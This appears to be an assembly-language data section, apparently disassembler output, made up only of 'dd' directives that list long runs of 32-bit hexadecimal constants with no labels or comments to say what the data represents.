		dd 45A3561h, 8439C4Ch, 0C420900Ch, 0E700473Bh, 94274616h
		dd 0B7221CAh, 9E241F42h, 0E8AA3000h, 2F1381ACh,	48808D0Fh
		dd 24B907E0h, 580CB43Ch, 0CB13E62Fh, 0F45FF327h, 8997DDC9h
		dd 5DF421F3h, 0CD01E30Dh, 0C0D46C5Ch, 1EEE45D3h, 68407A2h
		dd 4656C0h, 2A8EB270h, 5B61322Eh, 8A009028h, 0B00FA129h
		dd 0FEC19E18h, 0EA18CB12h, 846CA068h, 0AA1CC800h, 6B66D7B9h
		dd 0FBA500B5h, 3993DBB6h, 0E70092C0h, 5AB1069Dh, 0E68CA4ACh
		dd 471000A1h, 17D85BB2h, 0F17395EDh, 0B38EB401h, 8F962B53h
		dd 0FE3CE8h, 15364DC9h,	7B38DC7Ch, 0BBEAE938h, 489D891h
		dd 20DD41BBh, 0C4AF6FC0h, 322904B9h, 0D55D9F3Ah, 0C0768714h
		dd 98D77B62h, 0A4303500h, 0FB730956h, 0F451F374h, 0FD601E53h
		dd 0C7900758h, 60BE37EAh, 0A56AE3BFh, 913AF30Eh, 0D07E80ACh
		dd 3D7127ECh, 0B0802BD5h, 4BCC6805h, 0E50090C1h, 0F296E3DAh
		dd 741ACBDBh, 6AB300A3h, 0CDDE4784h, 30095C3Bh,	0A1BF29AAh
		dd 21A5A620h, 3F7FAEDCh, 78139F7Bh, 49CC00A1h, 622515B0h
		dd 3ADFDE02h, 800C5A84h, 1751FFF4h, 0F3F8024Eh,	60AEC35h
		dd 891E8CD0h, 390FB633h, 0DFDDA001h, 1FD0BF28h,	0C018BE1Ah
		dd 82DB8D76h, 3100A7FFh, 8F9ED939h, 0FE025B7Dh,	3E8A3FD5h
		dd 2E979000h, 0DA4F4217h, 3803527Dh, 0A0E52BF2h, 8320A7D2h
		dd 3FC4299Dh, 20DDECF8h, 8FD88700h, 47A32F36h, 30740803h
		dd 0C8A77D72h, 0F84D93h, 0FA274589h, 0DC8C6B48h, 0B0A4127Dh
		dd 0B0F63700h, 381D8547h, 9C320AD7h, 4B42462h, 885D2BF7h
		dd 0D2003480h, 0EE0F167Ah, 7159A9B8h, 12C07DDh,	0B0241CCBh
		dd 0FCACE5D0h, 0A0B20301h, 5F0AFAC8h, 215F30h, 0CD2F1801h
		dd 0DB254D04h, 939DD600h, 0E723A795h, 0AAB2003Bh, 0F1BAC53Ah
		dd 5C0077F9h, 7578347Ch, 308A30CEh, 0D84EFBB0h,	77003B3Dh
		dd 816327E7h, 27E3233h,	739EB10h, 0B9E0D369h, 9A059522h
		dd 3568929Eh, 3839440h,	1B2115h, 73FAE105h, 0CD26E34h
		dd 7A162C07h, 7BA16164h, 62F8D049h, 115607FCh, 14E1389h
		dd 30DFFA6Ch, 71B02C55h, 82109603h, 820798A4h, 0DBE25742h
		dd 4A00F0C4h, 290DD1F0h, 740C49C8h, 694C0F99h, 0B0874D33h
		dd 908D427Fh, 0E8281882h, 876B44C9h, 0B94D7B20h, 4BA5E740h
		dd 4FBE3166h, 0D2274C18h, 0A01B048h, 518060DEh,	91796733h
		dd 0F1E73944h, 0A8CCF080h, 0AE8193E1h, 0E6345150h, 0FBF1B80Ah
		dd 96802449h, 0A8DC068Ah, 0EEB90018h, 0F6A4BD89h, 0E0035D08h
		dd 0CA8EB840h, 0B04FB829h, 6ACF077Ch, 7015ABBEh, 96989C2Eh
		dd 190190A3h, 9D595251h, 0FFF030EDh, 7E5004Dh, 6BCC8C4Eh
		dd 153B94BEh, 96906091h, 305228FAh, 2309EFCh, 850323E5h
		dd 62E24A8Eh, 81906ECh,	40C31F4Eh, 0BDDE31Eh, 8CADD80Ah
		dd 60AA6703h, 95280521h, 403468D6h, 7038B4F8h, 8E2996CCh
		dd 1F18B064h, 0F115E409h, 1E088986h, 9A3E51BCh,	4A00CFCh
		dd 7E5170BDh, 0F24F0262h, 0EDDF9230h, 172EDC52h, 0D805C715h
		dd 0B040C210h, 0C4F8A14Fh, 0A8F02EB0h, 2F2A0F58h, 26684880h
		dd 0EA3E6C15h, 60A0285Dh, 75A87C00h, 220A64D1h,	0D37A07CEh
		dd 907E5AD0h, 41BD90F6h, 0B9719800h, 9E60B293h,	0E1BA0F08h
		dd 6A0B16Eh, 664325A8h,	4C3E9100h, 0A1AD5086h, 63DD013Fh
		dd 0B8C87AE2h, 5D2AD4BBh, 0CD3B9A00h, 45DAF710h, 64D200D5h
		dd 0FF9D46C3h, 0F17940EFh, 0A006D100h, 0ED82356Eh, 15D300EBh
		dd 8675CBFDh, 0F200ECD9h, 5EC7E73Ah, 1E9ED6C5h,	0A7E588h
		dd 44A607F5h, 93000DBBh, 84C6DBD9h, 122DACAh, 0F94BFCDCh
		dd 0CC2FE7B7h, 63005586h, 0F7EE4F3Fh, 3D11BD3h,	1DED0BC7h
		dd 90A7DD1Fh, 0C8CDF5D2h, 66E67306h, 13098FDh, 7DC7599Fh
		dd 0DF2E7745h, 0ACCEEE98h, 0E3DCD800h, 7E1868BAh, 0CFC440C2h
		dd 0C16B4100h, 4A622166h, 332B00CEh, 0D5545B0Eh, 0DF003973h
		dd 489EA445h, 19D7F19h,	0CE1D3651h, 0D0B45B56h,	0AE005442h
		dd 5FD057ECh, 5C7F90B1h, 880088BEh, 19E647B4h, 2907FA8Ch
		dd 2F4017CAh, 0E0C0ECC2h, 64B96CBh, 65BEB073h, 0E702C1EDh
		dd 0D750931Dh, 8E24E097h, 0A59A011Ah, 0CD918B48h, 0A447D099h
		dd 601D5F8h, 3DD285Ah, 33FB17A8h, 6021B408h, 30D406E0h
		dd 92C46C0Ch, 30D18ADh,	65F9C23Bh, 0D28B050Ah, 26C97798h
		dd 0E8A56700h, 0C002937Bh, 64F026AFh, 0C14A00F3h, 0ACE42722h
		dd 8AA5C40Dh, 909160ECh, 6D880B8h, 87E5285Fh, 0B0DF6B0Ch
		dd 89600136h, 0A2E84246h, 0E1D560E6h, 0A4A1CB60h, 7D36AEh
		dd 0AAB91F46h, 0C462AC77h, 189D80A9h, 5E0608D9h, 9DC4FD28h
		dd 6A08440h, 35137EEFh,	0E003757Dh, 0F927F8h, 574146D8h
		dd 1E45A379h, 0DFB0FC01h, 0E1E47E91h, 6CECCh, 0B6B3C016h
		dd 0AB3B516Eh, 8CCA1F03h, 9BC2A905h, 0DEA0C03Dh, 0A3F63AF7h
		dd 0BDD2AC00h, 676E7D2Dh, 0C1A5CD00h, 3AD3F081h, 0F83D03F3h
		dd 6FE5551Fh, 0D0A82ED3h, 0B20E9A74h, 0C9F77CFDh, 0E64C8038h
		dd 2BE67B9h, 0D89E43F8h, 5960188Ah, 0A30F5F9Ch,	6124E557h
		dd 10BECEEDh, 0FAB9D8h,	0AF3F331Fh, 79D30CDBh, 0E3C8AA00h
		dd 3A34E473h, 58F93AD2h, 41EEF00h, 8B88A311h, 0B0793F00h
		dd 47AB649Bh, 0C5E61B5Eh, 18E07878h, 51030D72h,	0ED56A0B5h
		dd 71180121h, 35E6A1E4h, 7B108170h, 0C745134h, 0A5267E8h
		dd 565C45FFh, 0CF730374h, 0A0788280h, 0BC448E1Fh, 68429180h
		dd 3C46867Fh, 0EBC8BFF2h, 0E7C0AE00h, 0AADA5D2Eh, 0DEDC0F00h
		dd 0F328CC12h, 0ED45242Bh
		dd 0A58D0067h, 8F784162h, 0D563Bh, 0B0065FF5h, 347DA1Bh
		dd 7FE02777h, 0D83CFAEFh, 2BD602EAh, 9DF32634h,	0C9CB0204h
		dd 6374DF8h, 10C059C1h,	0C25B500h, 20FC15CFh, 0CB5A001Bh
		dd 0DB824FF4h, 4201C111h, 0BCFFBFEFh, 29901AD2h, 501C84C4h
		dd 44E9C644h, 7844180Dh, 0E65F421Ah, 519A06DAh,	14009EF4h
		dd 6E11F5Ch, 1E2E08DFh,	0C0D4644Ch, 0CE9B6377h,	0B57FCD24h
		dd 8CA35300h, 0AAA18116h, 0F7E70DCh, 90376AECh,	0CCB3260h
		dd 0B5000936h, 98727C45h, 0FDACC67h, 97BB94C1h,	0EB3D0CA0h
		dd 68019669h, 95737C9Ah, 8850F3C2h, 249462DFh, 5369F4h
		dd 0B089996Eh, 7205AF16h, 978EEBCh, 0C43FDFC0h,	3E6F0586h
		dd 830D6D17h, 84C0929Ch, 0F500AE2Ch, 1E6494CFh,	0E442CC55h
		dd 838200E8h, 0AE853C57h, 0C400D36Fh, 5DE62A69h, 187D3Bh
		dd 32BD8C0Dh, 3E84504h,	477C7307h, 53C642D5h, 6D740011h
		dd 0F36A1337h, 12003C44h, 0B4ECC2FFh, 118653Dh,	1D1CE90h
		dd 80FA8416h, 5BF39D0h,	2377696h, 4759F0B9h, 6075BC67h
		dd 0C86BFCh, 7E718C0Ch,	0C03F8EEEh, 7621DD3Dh, 0E7978700h
		dd 5FA885CCh, 60921FF3h, 0C6CBCFF9h, 0F8A3D140h, 4A00D6AAh
		dd 67315635h, 0E4DFC77h, 0D294395Eh, 43516640h,	0A6005F6Ch
		dd 3A100F2Ah, 0FAAF87h,	0A77FD614h, 354D390Dh, 83547100h
		dd 0D2992E84h, 1DF43DE5h, 9DE202F8h, 0D528733Bh, 56F6D081h
		dd 0A4A8CC8Dh, 80926300h, 0D075E619h, 0AFDF001Bh, 0DC9D868Ch
		dd 0FB004674h, 85BEA06Eh, 905AA9h, 7C090893h, 0FB9B627h
		dd 0E2ACFD00h, 0BCB8DC34h, 6A74B1h, 0DB18297Eh,	0F427C8CCh
		dd 0FD3EC898h, 0E8F8A801h, 3A1BC13Dh, 99B380E9h, 2DE5EE65h
		dd 0DA9200F6h, 4B50E1B9h, 5C013F71h, 5A6159F9h,	0ABD88FDDh
		dd 466700BBh, 25518217h, 0A9009CCAh, 0E391DE60h, 0F8059D94h
		dd 474E3D81h, 0FA06F680h, 0C0433B0Ch, 67029700h, 1495CB88h
		dd 57EF8A6h, 0BE646D4Ch, 59C0EEF4h, 2E78BAh, 9B9ED3FBh
		dd 0DF5075ECh, 5C27D100h, 98BBD6A6h, 31410023h,	0CD959048h
		dd 0B500C9A2h, 63DAD2C5h, 0E54006h, 6721B2CFh, 37F5FB5Fh
		dd 0E7EEFE00h, 0E4C3C57Dh, 1D79900Bh, 819BBC53h, 3EFC392Ah
		dd 0F88BE41Ah, 93A6D0A8h, 595D9E00h, 31AD3394h,	0C5F70049h
		dd 0FE6F4003h, 2D0036BFh, 0EBF6452Fh, 0A06E737Eh, 8025DFh
		dd 0E7D81B43h, 7F8F5E17h, 0CEBEC05h, 0D000DA44h, 7C51FAE1h
		dd 86EE0029h, 0A88E610Fh, 924D2C7h, 0D903BDDCh,	0A8C30196h
		dd 7DE6C9h, 229360C8h, 53840351h, 0CE0EB900h, 9A426830h
		dd 0C690079h, 0BF816A9Bh, 0F3008AA2h, 0A0873F88h, 14E81DA7h
		dd 0CC7F0FE7h, 11663880h, 560071E9h, 79DBEB89h,	0E46290A9h
		dd 0E1E60044h, 154DD9C3h, 0C74C5FD3h, 2AF118A8h, 77A9070h
		dd 0C2722BCFh, 8620BF48h, 7C188FE3h, 11991D0Ch,	466E9Bh
		dd 1455A5AAh, 0CAADFF33h, 0E4DEFE00h, 0B8DFC752h, 9A7726C4h
		dd 5406006Ch, 532A551Bh, 0E3BDA600h, 1EFEADCAh,	189A00F1h
		dd 0EA2227D7h, 0B600BF5Ch, 3B57DA42h, 5DB600Fh,	0FD8676E0h
		dd 0EF9000A3h, 44251650h, 4C18F94Ch, 0C65200E6h, 45DC0DC1h
		dd 47FCD8h, 0F8B0D781h,	37BEC8D6h, 7CBD6200h, 442D5A02h
		dd 0FF9201F7h, 99BF2F4Fh, 0C235F43Fh, 29FB0D00h, 6F1F5617h
		dd 1C030397h, 0ACF581C6h, 4B48EFE0h, 26A65103h,	0D8FE6085h
		dd 0ADCC61h, 831F7ECFh,	9DA09474h, 0DCA39h, 0B47165C0h
		dd 7897D62Ah, 0CF8B007Eh, 87819598h, 0E2FA3E4Dh, 8A0C181Fh
		dd 0A8C6EF80h, 8F525Bh,	4729F7D2h, 0B0D6CDFAh, 0E3A2E212h
		dd 0CC209E12h, 441C7Bh,	9A65FB11h, 0ED47BCBBh, 0ECC5280Fh
		dd 0A9AE40B7h, 0E0434D0Eh, 12AC9AC1h, 90248Bh, 1185BA2Ch
		dd 101CD92h, 0C06D7EDEh, 2E4CE8Fh, 0D4700036h, 6A5A4CF1h
		dd 0E0381B3Eh, 24C60078h, 89146CCCh, 45555884h,	58038300h
		dd 0BD940571h, 0E9002F76h, 643772BAh, 16EC928h,	7A3165B5h
		dd 0C6B14A1Ah, 0B688B140h, 2A9B3Fh, 0D429CAA9h,	0AC2F50h
		dd 1C45814Ah, 5E375AEBh, 608A7300h, 0D05BE00Ch,	7EDB02ABh
		dd 77E65C48h, 51714CC0h, 649A2802h, 60B62FE7h, 0C3A85Ch
		dd 0BD534616h, 23740631h, 6434BF0Eh, 8FFF298Bh,	61450033h
		dd 39F16687h, 298E381Ah, 422F9DE5h, 96CFF260h, 400C722h
		dd 0EF280566h, 3103B49h, 0AFCAD75Ah, 6881871Eh,	0F258808Eh
		dd 50D39D6Bh, 0E84607A4h, 0F10FD23h, 155440DDh,	9E556156h
		dd 3AC07600h, 1319FB44h, 0DA870022h, 5241BFE5h,	11015E89h
		dd 5B1F1B4h, 0C3700C77h, 0C0080076h, 83257447h,	0E00DDBAh
		dd 663D1D17h, 1DF64078h, 0C22BBF5Bh, 0AC601F3Eh, 3B2E6860h
		dd 7C6030FBh, 0BB0A6B0Fh, 8144031h, 0C6C7D8h, 0CD8479E6h
		dd 1433EBCh, 0EC51DA1Fh, 0A9ECCCE8h, 6F74461Ch,	0B59AF743h
		dd 8CD99B54h, 422968C0h, 0B09F40E3h, 37A61E17h,	51913840h
		dd 0FCF565DBh, 9FEA0AE0h, 0F4263Ch, 0E6C71C7h, 0ED0078C3h
		dd 70215F16h, 939733h, 0A1FCC418h, 0B8B5B75Dh, 0CE294200h
		dd 0C8D70CADh, 0BB6C00F7h, 76CF0AA9h, 3C9826E8h, 658D8701h
		dd 98F94623h, 5822C30h,	5BC5EFB0h, 6D9B80B8h, 5F00E818h
		dd 1961E4F4h, 88CD43h, 2A87D80Ch, 9DA17149h, 4836500h
		dd 895F4B73h, 0D6550081h, 642B6842h, 140075EAh,	19B13C16h
		dd 0FE4DB1Fh, 0EEFF2EEFh, 0ED32E7A0h, 51046F0Ah, 76B1B22Bh
		dd 8F04C080h, 0A17C2EFCh, 97C71FBCh, 88003EC9h,	291161D8h
		dd 7A6B20B7h, 530044E0h, 0D4307D20h, 3F8C6498h,	8B80F588h
		dd 0B5E9CDABh, 0A906FDF3h, 0DD6FBC9Eh, 17D0E848h, 422AB107h
		dd 0EA87102Ch, 30031960h, 72EDC500h, 9F90ADEEh,	0B535051Fh
		dd 0F619AEh, 890753B0h,	289441F3h, 239A2580h, 2422F7FBh
		dd 2642A81Dh, 670E0069h, 0D459B4B2h, 0BB238D15h, 0E8EF0090h
		dd 149D8CEAh, 9A6B003Dh, 167211E2h, 0EC28592Fh,	0D2006CB5h
		dd 0CD52330Ch, 545DEBDh, 63F136EAh, 207C900Fh, 55480E8Dh
		dd 776900ACh, 700A13B6h, 0AE402CDBh, 0A69C8070h, 0C1F66EB5h
		dd 25CA81C0h, 36B79DCh,	453921D3h, 0FE00FCE3h, 0C62663C9h
		dd 5ED98C96h, 7353F069h, 222E1EE8h, 0CB802002h,	4270C6BAh
		dd 51DC0EE5h, 0DD80ED5Dh, 877A7F76h, 2100D271h,	0AF386C47h
		dd 7260D33Ah, 0C5720020h, 0BAA18B2Bh, 7718733Ch, 0F979A77Fh
		dd 3B2CF05Bh, 3987D984h, 0F13B8F28h, 8CCFA279h,	98CE8C11h
		dd 3E41C06Ah, 5D40DC8Dh, 4779580Ch, 0E74AE1C6h,	7B276840h
		dd 0C1CD00A1h, 0FFBFF0EEh, 30FA6844h, 5E204200h, 0CE06A2A7h
		dd 0C8D5A018h, 999400BCh, 0E796FDF5h, 16006782h, 0F9FA8F3Dh
		dd 0BD7D72h, 4E318570h,	0A0996CC4h, 79C0A3B0h, 6E2EA60Ch
		dd 74E805BFh, 4017FD43h, 7FA42998h, 4900D0DDh, 6EBE11D4h
		dd 0AD9F06h, 0E609E994h, 2C07AA91h, 653B3918h, 0B8650h
		dd 3F338B59h, 0D1B4A9EDh, 0B34AD500h, 60E72C7Dh, 0CCC6607Eh
		dd 0FA09F51Dh, 0CF1C977Ch, 9C428550h, 0C8BEB5B9h, 37C984h
		dd 2FC669C7h, 30C3B473h, 8F30D3F8h, 3DAD21ABh, 9F85001Eh
		dd 0B067AC92h, 5500EE53h, 2C6370C2h, 0E84A8B13h, 28A801F2h
		dd 419DFFCEh, 4018D31Eh, 4449A28Fh, 4E3903A4h, 0FA7B6FEDh
		dd 0F51AEA8h, 38D48300h, 1EE404EFh, 1082687Ah, 0EB18F404h
		dd 0D010519Fh, 44A4008Ch, 0F7677D37h, 74FE7A40h, 4B0A9001h
		dd 958663EAh, 6023D0E4h
		dd 60B329A6h, 0C2007A41h, 62287CB7h, 18D61077h,	2ACA3C2Bh
		dd 0BD1E747Fh, 18816ACFh, 3D0D8645h, 4744EA80h,	0E817CC79h
		dd 0D0F8E507h, 0E270AD16h, 0BE00D2Ah, 802B193Fh, 4114FA00h
		dd 9E00FC04h, 90495579h, 76D2D82h, 3C5D958Dh, 0DA109025h
		dd 1800D7CDh, 0C3EFC146h, 7D3D7Ch, 7630068Ah, 723FC4FDh
		dd 34778501h, 80137F12h, 0F2DFC0h, 4707AE6Eh, 19F1A540h
		dd 0EA16D4F1h, 0CD7D6F00h, 0B231AD21h, 906400B3h, 92567A3Eh
		dd 2A00FFBAh, 5AF7FCB6h, 6100525h, 66D448A8h, 0A30050F9h
		dd 2D32993Ch, 0B34615Bh, 2912922h, 2C002F8Bh, 9EF6ED84h
		dd 758A20Eh, 0B2DCC03Fh, 0D33D1h, 30A06B59h, 16684B8Ah
		dd 0CCA23Eh, 0D2A721F8h, 1A1EC1h, 0BB4EAFEDh, 0B77BD4E0h
		dd 437EF407h, 94D037B0h, 0CCDE82h, 192BB663h, 0A2501698h
		dd 31645F00h, 0E6CF0444h, 5CFF0002h, 0E3C92238h, 0E1C0474Fh
		dd 5044BFF1h, 0F82800B9h, 0B2468359h, 7400DB98h, 0D967057Ch
		dd 1E4D4012h, 1D45954Eh, 51BF4071h, 1ED03D97h, 5EFBC300h
		dd 2FA1F84h, 0A0687C25h, 0AEA8E8h, 3B23AF33h, 0D8D1C49Eh
		dd 84A97100h, 8B541C67h, 0E23E0736h, 0C02D4988h, 0FF2B1C0h
		dd 5930BA00h, 92DBEF10h, 0A6D10773h, 15ECF6EEh,	0A13D81BDh
		dd 51CEF8C1h, 8AE1DA0Ch, 377041h, 0A5BF7484h, 3E2F825Fh
		dd 0CA125503h, 984D1FEEh, 86D0C2h, 0E50A243Dh, 63B07819h
		dd 27008890h, 0FFD71114h, 9DE90h, 5C4865B7h, 0C23A905h
		dd 0A192C200h, 5652AE4Bh, 0AAD4004Ch, 2C892FE9h, 420057CEh
		dd 0F22E8188h, 1A80CBh,	0C67F7D90h, 0F4DC210h, 52758500h
		dd 71443399h, 25FD00FEh, 21E7A051h, 0F6005DE9h,	0E846953Fh
		dd 74EE26Bh, 0A41ACE71h, 88FA5Ah, 1028E58Bh, 3506AE72h
		dd 7881481Dh, 1E460060h, 0C23D1765h, 9C3D0C50h,	0AFDC0091h
		dd 0E933B19Bh, 322B00E8h, 2359DD4Dh, 2800D57Dh,	534C2C94h
		dd 4C7F093h, 0EC44B3A3h, 2F14C0C2h, 9F709988h, 6265DA7Eh
		dd 0CDC3B536h, 8F8A90BCh, 0F7383A80h, 3280883Dh, 0BF85E2FAh
		dd 3D009948h, 5E895081h, 0FF52A1h, 5369A80Fh, 0D1517DC3h
		dd 94042B76h, 0CD880ADBh, 0E058BC83h, 0E6BE086h, 13AED89Bh
		dd 66AB4C40h, 6B0E12Ah,	2EB51601h, 4DECFB0h, 165F6834h
		dd 2CE3A6h, 8718693Dh, 0A03A132h, 0E97D1A60h, 0F0400093h
		dd 0B38F0349h, 0A56024ABh, 0BC234B70h, 961E00E7h, 51D5B241h
		dd 3201C960h, 7A367D4h,	9834B79Eh, 7CC60595h, 0FB6C1325h
		dd 234742C0h, 647424h, 40795B9Bh, 5811438Ch, 930B8407h
		dd 1B50DC4Fh, 95DDE4h, 0DFBB715Eh, 5B25E382h, 1C002E90h
		dd 6C30B4F6h, 6FD19Dh, 5FE652CAh, 251D03B9h, 3EDC0F0Fh
		dd 6D64C04Eh, 0A45C5Eh,	9AB14399h, 4473B617h, 481CC40Fh
		dd 2E790E49h, 0BCB1F835h, 0FFE801D5h, 0B20C3D73h, 472C305Eh
		dd 0FBC69200h, 0BA04051Fh, 43143DA8h, 0ECCD1680h, 9BE08DD5h
		dd 0B4A37F03h, 0D4F39026h, 391F3B80h, 20EE48B5h, 496CAE00h
		dd 8769671h, 0D2BC8600h, 9D57CCA0h, 18784895h, 91094A05h
		dd 73FC17h, 42012CEDh, 746BFAh,	801B3D1Ah, 38F82F07h, 88CAFB00h
		dd 84A6F7B2h, 70CF006Eh, 285FCC4Dh, 0D5003AD6h,	2B1CCE1Ah
		dd 1D978560h, 0C0ED721Eh, 15C3361h, 48198F0Bh, 5D1924B7h
		dd 50976EE0h, 71FCC7h, 26FED8C8h, 5A38E515h, 0CE467A0Ah
		dd 2D0494C3h, 18819E83h, 0B024BA47h, 944004Dh, 62D75690h
		dd 0A8099725h, 812263FCh, 9266082Ch, 2DB824h, 9EC198E6h
		dd 0DABFE90Dh, 56B48E00h, 18BB51FDh, 59E61CF9h,	58C6C034h
		dd 268C36F1h, 0A470CB00h, 732B06EBh, 93C30013h,	0D5451E5Ah
		dd 4B00E98Ch, 447557EFh, 167C5270h, 5D3C715Fh, 0C9428068h
		dd 0F5F1FDB2h, 4FD1AE00h, 50D99D58h, 63F047Bh, 86120D92h
		dd 0F94C617Ch, 6DFF00A8h, 0DCD20843h, 0F10B0092h, 1B202978h
		dd 0F01F641h, 4701AE05h, 0FEE89318h, 90EB509Eh,	448F00B0h
		dd 290CFC2Bh, 0E413A4A3h, 8F0F2EC6h, 3A3CC1h, 0ADD906BEh
		dd 0C0818BD4h, 0AF50FC94h, 8800F6CFh, 8E02EB80h, 1207E5AAh
		dd 403A461Ch, 27C1B3DCh, 0CF0CB18Ch, 1935FC1Dh,	407718BBh
		dd 2FC180EAh, 0C42E1500h, 47021A37h, 3C397C8Ah,	2A074FCBh
		dd 0D0C160DBh, 0F0252E45h, 479BE30Eh, 2D52608Dh, 271F85h
		dd 0B8DE40F3h, 0FE1CB634h, 89934A9h, 151F05CBh,	864795h
		dd 6FD6E250h, 0E903B13Eh, 5DFAA727h, 287802C5h,	23B939C4h
		dd 50032082h, 0D8B11C86h, 213E7E1Dh, 11BA8B00h,	5C07D540h
		dd 5800A417h, 3C7E51C8h, 0F0048B2h, 0FE9D6249h,	3D9AB53Eh
		dd 1880EA77h, 0BB1EF527h, 8900E4EEh, 616BA98Dh,	1DAC824Dh
		dd 400651DAh, 4319591Bh, 31FE0BDEh, 0E6BF9100h,	0FF53253h
		dd 3C270E8Eh, 0E9008139h, 0B2DE0469h, 89D54F03h, 0D88082F9h
		dd 94057h, 30E052C3h, 2746CEB0h, 0F18B1B00h, 0AB25D2E4h
		dd 0B0BC74B2h, 16F6F4h,	8578CE93h, 0CB97270Dh, 609D0903h
		dd 0D0FD9895h, 0FB8A9Eh, 0B8C565Dh, 0E78D46C7h,	0EBCDC40Eh
		dd 0BE2E63A9h, 0A28E90C9h, 3E8A0008h, 0C821F6A4h, 3C013DA6h
		dd 15D0336Ah, 0D448EA0Dh, 0DEF00018h, 2701B071h, 9166B926h
		dd 212A08h, 89DE13FAh, 285DACB1h, 0C5625000h, 64EEE7BEh
		dd 30DCF833h, 0E4187948h, 7D2AEBC3h, 9AF2DC47h,	0C4F07B00h
		dd 3561567h, 6408DF7Eh,	0DD438E80h, 8AA949C0h, 0C53CD5E8h
		dd 59C2F5AEh, 2FF444h, 0C357BE81h, 0F78E18C0h, 30D8D483h
		dd 0A4973E0h, 0BF00229Ah, 0CA17FFBBh, 1D854Fh, 2CC9EC27h
		dd 16EFDB34h, 0BE833508h, 0E13E988Bh, 8C05D50h,	9F53DD38h
		dd 0A3F628h, 0D8FE462Fh, 4B7D3F0Eh, 0A40C8374h,	0E951A98Ch
		dd 74738CE1h, 57C41A1Ch, 27F91E1h, 977B8F01h, 20A58EFAh
		dd 0D56F79F5h, 0A7D400B6h, 31EA7D94h, 8F388260h, 0DA91E756h
		dd 40FD5320h, 351F07EFh, 441E0795h, 9158B0D2h, 0E2533000h
		dd 2B0C1BAh, 321C002Ah,	0B9C087E9h, 820E8BD9h, 3848A7EDh
		dd 4C36B60h, 0C1574A58h, 0E4CF808Eh, 5C00E6C5h,	0CE420BFEh
		dd 4A63B106h, 2505E0EFh, 7F7A4300h, 506E3AFBh, 0F844F470h
		dd 0DCB009B3h, 0FA014B6Fh, 0F05505C4h, 0B900B2DAh, 0D4253A5Ah
		dd 6ED382DCh, 7C4129B3h, 0E435DD2Fh, 0D1DB773h,	8018719Bh
		dd 12DF021h, 35874C2Fh,	0F049CA52h, 770C2534h, 60BE30CFh
		dd 0F88EF4DDh, 1849E2ECh, 20A3101Bh, 6D80B9FCh,	0DC8F034Bh
		dd 4A79CAD6h, 0BE3B8806h, 5202C7Ch, 0EDBA8728h,	23502F34h
		dd 7D45008Bh, 0D95E6708h, 26082148h, 0C6055B31h, 2C111B7h
		dd 0DDE4987Ch, 0DFD6EC2Fh, 1F4B8399h, 0A1724FE7h, 1473E303h
		dd 0DB92F7D5h, 4E0930D2h, 727BAF21h, 0DDD6D300h, 0D5CBA827h
		dd 0DA0100A1h, 699AE445h, 0C0F48E41h, 53BA2E00h, 594EA450h
		dd 48A90021h, 37E80E7Dh, 0E97F2814h, 0CC57A000h, 36C450BCh
		dd 0A6C10E22h, 72E0919Fh, 0BEDDBDE7h, 5500E679h, 7D936B0Fh
		dd 1E27E25h, 87754D48h,	0D0B20B12h, 211A1ECEh, 15101964h
		dd 3968E004h, 28F865C9h, 77C73807h, 0E7506CE1h,	0B866219Ah
		dd 0E0EF90D0h, 136E00F6h, 0B92E8599h, 4600D380h, 38A53AF3h
		dd 794502h, 2F085524h, 6D5C5BFCh, 0D49F4103h, 0F8939E23h
		dd 5A0DC2h, 39CABD09h, 0AC7DED89h, 0F48BF700h, 0E2803A95h
		dd 5AEE00DEh, 0B663DF18h, 900EED99h, 0E00FE609h, 0BE68542Bh
		dd 4EA11D80h
		dd 0D81C77Dh, 3757A073h, 9D004A8Ch, 5CBC82D0h, 0FA6016h
		dd 77360730h, 3B352BF6h, 4B90DB03h, 0C05DA976h,	0B8373h
		dd 0C6B5753Fh, 71DFACFDh, 0BDB7D507h, 7310152Eh, 724FB31Fh
		dd 0F6B27DD0h, 89C400FBh, 6562A511h, 811D8234h,	3D4084DEh
		dd 54606663h, 0C1A40E98h, 3760E82Bh, 0E11B67B6h, 0ACE66D28h
		dd 1EE9C24Ch, 2380A082h, 0C1DDAA1Ah, 0A2A103B4h, 0DCF2C580h
		dd 0BB42100Bh, 86FA0081h, 382D751h, 71BE1ECAh, 4EF0C577h
		dd 0E4A8C6F4h, 7203FEEBh, 9C1AEF56h, 0F040074Ah, 5009D26Eh
		dd 41283997h, 0A00A6E6h, 0A1AC46AAh, 0CD9FCB8h,	0DCB42230h
		dd 38203E50h, 6CE465h, 55ED45B2h, 0B897EB21h, 0F9A60800h
		dd 69A0F6BCh, 5A9100D5h, 61E5B3E2h, 57008C88h, 0C004635Fh
		dd 0F5285Ch, 0A068FA29h, 3D9EAAF8h, 4F839601h, 0A8D21986h
		dd 0C397CCh, 93F65F1Ah,	74966920h, 405848h, 61D048B9h
		dd 5CEE4Bh, 42CE44E9h, 9FC6537h, 517C06F2h, 0D9C03092h
		dd 0BF6ACB9Eh, 0E7E10027h, 0CA59E917h, 0F1E664F4h, 7AA94503h
		dd 0EB7D50BDh, 80ADFA21h, 0A130FC9Ch, 0BA780107h, 6383F17Bh
		dd 62304008h, 1700B5D9h, 0A84CFF0Bh, 0E22E292h,	792788F3h
		dd 0EA5574A0h, 3A04B3E1h, 6D7BE3B8h, 0E0087607h, 0B648C33Dh
		dd 550602F2h, 0CA7C9D7Ah, 4A1F0079h, 73E7BA40h,	0DE00EC4Ch
		dd 0DFB79A4Eh, 24B15403h, 7B4DF1h, 0F80D36AFh, 0E33F5265h
		dd 0CFCE81B5h, 0A98F7E2Fh, 0A07C3C8h, 0D7E9C558h, 5F6400EDh
		dd 6CD13E96h, 34001890h, 2573B041h, 224EB452h, 0CD1E90CEh
		dd 23C12EFEh, 4B5A16ABh, 0D5A6F4h, 0FFA4E497h, 5BFE3B4Dh
		dd 0B27B4076h, 8E153Eh,	0AB36657Ah, 1DBA799h, 1E48441Bh
		dd 0C00E6CA2h, 0CB05377Ch, 28AC3A3Bh, 8B001085h, 6CB605F4h
		dd 61811CB4h, 213E0635h, 0DE0051DAh, 72A2453h, 37D705D1h
		dd 0C0200179h, 34777297h, 0B039A800h, 411C8088h, 685B1EAEh
		dd 0FDFA00EEh, 3FBEFBC4h, 37D72107h, 0B5806301h, 0A51B7Dh
		dd 0D6EE6DF1h, 57C2DC43h, 0FAB7D91Fh, 0D7693BC0h, 0C8AA13h
		dd 0BDA2976Bh, 7E63F460h, 9D7C4F3Bh, 51C0896h, 0A6492740h
		dd 1875F11h, 93B4AE10h,	53250FE1h, 50A8E6E4h, 5B58CAF5h
		dd 53D402BFh, 0E24667A7h, 2F8800D9h, 904231DFh,	0F47200F7h
